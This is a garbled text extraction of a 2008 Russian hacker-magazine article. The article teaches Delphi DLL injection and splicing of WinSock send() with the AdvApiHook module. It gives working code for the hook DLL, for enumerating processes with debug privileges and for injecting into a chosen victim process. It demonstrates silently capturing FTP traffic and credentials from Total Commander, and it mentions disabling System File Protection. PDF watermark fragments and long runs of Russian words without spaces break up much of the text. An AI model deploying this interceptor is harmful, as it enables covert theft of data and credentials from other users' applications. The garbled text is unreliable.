 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Входных параметров четыре: 1. Имя модуля (DLL). 2. Имя функции; будь внимателен, регистр в указании имени функции играет роль. 3. Указатель на функцию-замену. 4. Адрес к оригинальной функции.

Перехватывать функцию без передышки не имеет смысла, поэтому рано или поздно нужно останавливать процесс перехвата. Для этого в AdvApiHook реализована функция UnhookCode(), которая в качестве единственного параметра принимает указатель на адрес моста к оригинальной функции.

3.Полезные функции. Помимо необходимых функций для перехвата API или внедрения кода, в модуле есть несколько функций, которые обязательно пригодятся системным программистам.

•  Отключение защиты системных файлов. В ОС Windows, базирующихся на ядре NT, нельзя просто взять и изменить системные файлы — защита System File Protection трогать их не даст. Для решения этой задачи в модуле определена функция DisableSFC(). Передавать параметры ей не требуется. В качестве результата возвращает булевское значение.

•  Завершение процесса через режим отладки. Наверняка, ты сталкивался с процессами, которые тяжело «убить». Стандартные функции

вроде TerminateProceess() не помогают. Для устранения проблемы принято использовать так называемые отладочные функции. Сначала процесс переводится в отладочный режим, а потом уничтожается. Таким образом можно завершить практически любой «вредный» процесс. Автор AdvApiHook реализовал простую надстройку для завершения процесса через отладочный режим:

function DebugKillProcess(ProcessId: dword):Boolean;

Вкачествеединственногопараметрафункциинужнопередатьpidпроцесса.Вслучаеуспешногозавершенияпроцессафункциявернетtrue. Довольнотеории,порапереходитькпрактике.Сейчасярасскажу,как написатьприложениедляперехватафункцииsend().Дляначаласоздай вDelphiновыйпроектинарисуйформу,хотябыотдаленнопохожуюнамою. Какзакончишьтворческуючасть,вставляйнашDVD-диск,копируйснего модульAdvApiHookинемедленноподключайксвоемупроекту. Первое, что необходимо сделать — научить программу получать список всех запущенных процессов и их дескрипторов. Все данные будут

КодDLL

library project1;

uses Windows, advApiHook, Messages, SysUtils;

type TSocket=integer;

TSendProcedure=function (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;

var

_pOldSend: TSendProcedure; _hinst, _h:integer;

procedure SendData(data:string; funcType:integer; Buff:pointer; len:integer);

var d:TCopyDataStruct;

begin

case funcType of 10:

begin

d.lpData := Buff; d.cbData := len; d.dwData := 10;

end; 30: begin

d.lpData := pchar(data); d.cbData := length(data); d.dwData := 30;

end; end;

SendMessage(_h, WM_COPYDATA, 0, LongInt(@d)); End;

function xSend(s: TSocket; var Buf;

len, flags: Integer): Integer; stdcall; begin

SendData('', 10, addr(string(buf)), len); result:=_pOldSend(s,buf,len,flags);

end;

procedure DLLEntryPoint(dwReason: DWord); begin

case dwReason of DLL_PROCESS_ATTACH: begin

SendData('Библиотека загружена. Начинается подготовка к перехвату...', 30, nil, 0);

_hinst:=GetModuleHandle(nil); StopThreads; HookProc('WS2_32.dll','send',

@xSend,@_pOldSend);

SendData('Подмена функций завершилась успехом!', 30, nil, 0);

RunThreads; end;

DLL_PROCESS_DETACH: begin

SendData('Снимаем перехват...', 30, nil, 0); UnhookCode(@_pOldsend);

end; end;

end;

begin

_h:=findwindow(nil,'WinSock Sniffer'); if (_h = 0) then

begin

MessageBox(0, 'Не найдено окно клиентской части программы!', 'Ошибка!', 0);

ExitThread(0); end;

DllProc := @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH);

end.

106

xàêåð 05 /113/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

>> codingto BUY

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Хакерскиймодуль.Написанмастером

отображаться в компоненте ListView. Именно из этого списка мы будем выбирать процесс-жертву. Для получения списка текущих процессов существует несколько способов. Рассмотрим наиболее простой из них — использование модуля tlHelp32, входящего в стандартную поставку Delphi. Ради получения процессов я завел отдельную процедуру — GetAllProcess(). Ее код ты увидишь на врезке. В самом начале процедуры я вызываю функцию EnableDebugPrivilige(). Функция эта самописная и ее вид ты можешь посмотреть, открыв исходники с диска. Скажу лишь, что она требуется для получения отладочных привилегий. С ними появляется возможность получать handle даже у системных процессов. Если функция вернула false, то я просто сообщаю об этом в лог и продолжаю выполнение процедуры. Получение списка процессов сводится к нескольким шагам. Первый этап знаменуется использованием API функции CreateToolHelp32 SnapShot(). Она получает снимок объектов, определенных в первом параметре. Я указал константу TH32CS_SNAPPROCESS, которая подразумевает получение снимка одних лишь процессов, так как для сегодняшнего примера этого вполне достаточно. Помимо процессов ты можешь получить:

TH32CS_SNAPTHREAD—снимокпотоков;

TH32CS_SNAPMODULE32—списокзагруженныхмодулей;

TH32CS_SNAPALL—включаетвснимоквсепроцессы,модули,потоки. ЕслифункцияCreateToolHelp32SnapShot()выполниласьуспешно, значит,нужнопробежатьсяпоспискуполученныхобъектовивывестиихв ListView.Для«пробежки»яиспользуюфункцииProcess32First()и Process32Next().Параметрыуобеихфункцийодинаковые:

1.Снимокобъектов,которыйбылполученврезультатеCreateToolH elp32SnapShot(). 2.СтруктуратипаTProcessEntry32,вкото-

руюбудетзаписанаинформацияокаждомнайденномобъекте.После выполненияProcess32First()впеременную,которуюмыуказывали вовторомпараметре,будетпомещенаинформацияопервомпроцессе изснимка.Дляпереходакследующемупроцессувызываетсяфункция

Process32Next().

Итак,списокпроцессовунасесть.ПовесьвызовGetAllProcess()на событиеOnCreateформыизапустипрограмму.Еслитынедопустилвлистингеошибок,топослезапускаListViewдолжензаполнитьсясписком процессов.

Делаем захват

Теперь, когда у нас есть список процессов, можно приступать к реализации самой главной части — перехвату функций. Перехватывать их удобнее всего из библиотеки DLL. Принцип такой: внедряем библиотеку в чужой процесс и методом сплайсинга делаем перехват. Сейчас

Смотримтаблицуимпорта

все кажется сложным и запутанным, но на деле все просто. Создавай в Delphi новый проект типа DLL и потихоньку перекатывай в него бездушные строчки кода из врезки «Код DLL».

Рассматривать приведенный код лучше всего с процедуры DLLEntryPoint. Именно в ней происходит реакция на события, связанные с DLL (загрузка/выгрузка библиотеки). Во время загрузки библиотеки возникает событие DLL_PROCESS_ATTACH. Для нас это знак к установке перехвата. Перед тем, как установить его, я отправляю

Тасамаяпроцеду-

раGetAllProcess()

var

_SnapList : THandle; _ProcEntry : TProcessEntry32;

begin

if NOT (EnableDebugPrivilege()) Then begin

reLog.SelAttributes.Color := clMaroon; reLog.Lines.Add('Не удалось получить привилегии

отладчика!'); end;

lvProcessList.Items.Clear;

_ProcEntry.dwSize := SizeOf(TProcessEntry32); _SnapList := CreateToolHelp32SnapShot(

TH32CS_SNAPPROCESS, 0);

if (Process32First(_SnapList, _ProcEntry)) Then begin

Repeat

with lvProcessList.Items.Add Do begin

Caption :=IntToStr(_ProcEntry.th32ProcessID); SubItems.Add(ExtractFileName(

_ProcEntry.szExeFile)); end;

Until not (Process32Next(_SnapList, _ProcEntry));

end; CloseHandle(_SnapList); end;

xàêåð 05 /113/ 08

107

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> coding

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Форманашегоперехватчика

клиенту (основному приложению) информацию о текущей ситуации. В своем примере я передавал целые строки, но на практике лучше

отправлять коды событий/ошибок, определить которые можно заранее. Процесс передачи инфы из DLL в основную программу осуществляется с помощью самописной функции SendData(). В теоретической части статьи я описывал минусы перехвата методом сплайсинга. Как ты помнишь, они заключались в потоках. Решение проблемы также было озвучено — это временная остановка всех потоков. Для остановки потоков чужого процесса в модуле AdvAPIHook есть функция StopThreads(). Параметров она не требует. Остановив потоки, можно устанавливать перехват. Для этого я использую функцию HookProc(). В качестве параметров передаю ей:

1.Имябиблиотеки,вкоторойобъявленаперехватываемаяфункция.Посколькувпримеременяинтересовалалишьфункцияsend(),тояуказал W32_32.dll (именновэтойбиблиотекеопределенывсефункциивторой версииWinSockAPI).

2.Названиефункции.Впримереяуказал«send».Этосамаяраспространеннаяфункциядляотправкиданныхпосети,ееиспользуютпрактически всеприложения.Обративниманиенарегистр,используемыйвнаписании именифункции.Имяфункцииполностьюсостоитизмаленькихбукв.Не обратишьнаэтовнимание—попадешьнаотладкутаинственныхошибок

«AccessViolаtion».

3.Указательнафункциюподставы.Вкачествефункцииподставывмоей библиотекеопределенафункцияxSend().

4.Указательнапеременную,длясохранениямостакоригинальнойфункции.Яуказываюздесь_pOldSend.

ПослевыполненияHookProc()втекущемпроцессевместофункции

Обработчик

OnClick()

_h := OpenProcess(PROCESS_ALL_ACCESS, false, StrToInt(lvProcessList.Selected.Caption));

_dllPath := ExtractFilePath(ParamStr(0)) + 'test.dll';

InjectDll(_h, pchar(_dllPath));

108

Программавдействии

send() будетвызыватьxsend().Цельюстатьибылопоказать,какможно перехватыватьданные,передаваемыекаким-либосетевымприложением, поэтомувподставнойфункциияпростопередаюбуферсданными.Таким образом,мыполучаемто,чтохотели,априложение-жертва,ниочемне догадываясь,продолжаетвыполнятьсвоюработу.Установивперехват, нужнозапуститьостановленныеранеепотоки.Длявосстановленияработы потоковяиспользуюфункцииRunThreads(),которойтакженетребуются параметры.

Тестируем

Можно считать, что простейший пример перехвата сетевых функций готов. Точнее, реализован процесс перехвата одной лишь функции — send(). Перехват остальных ты сможешь реализовать самостоятельно, тем более что принцип будет полностью таким же. Перед тем, как мы начнем тестировать, откомпилируй библиотеку и вернись к нашему основному проекту. Создай обработчик события OnClick()для кнопки, по нажатию которой мы будем внедрять библиотеку, и перепиши в него код из врезки «Обработчик OnClick()». Я не буду расписывать этот код целиком, так как в нем нет ничего сложного. Все, что там происходит — получение handle процесса по его pid и внедрение созданной нами библиотеки с помощью функции InjectDll(), описание которой я уже приводил.

В качестве теста я решил перехватить данные, которые отправляет всем известный TotalCommander при соединении с FTP сервером. Внедрив нашу хакерскую библиотеку в процесс totalcmd.exe и запустив в Total Commander’е процесс соединения с FTP сервером, я наблюдал, как лог начал заполняться командами протокола FTP. Поскольку этот протокол не является безопасным, то все важные данные, передаваемые серверу, были успешно перехвачены. Результат ты можешь увидеть на рисунке.

Все готово

Впростейшемпримереяпоказалперехваттолькофункцииsend().Темне менее,сетевойнаборWinSockAPIсодержитидругиефункциидляотправки данных,азначит,утебяестьполигондляновыхиспытаний.Неленись ставитьразличныеэксперименты,ведьтолькопутемпробиошибокможно решитьлюбуюзадачу.Еслиутебявозникливопросыилипредложения,то милостипрошу,явсегдаоткрытдляобщения.Ах,да,чутьнезабыл.После выходажурналавсвет,насайтеwww.vr-online.ruявыложуисходники,в которыхбудутреализованыпримерыперехватадругихAPIфункций.Обязательноихскачай!z

xàêåð 05 /113/ 08

Соседние файлы в папке журнал хакер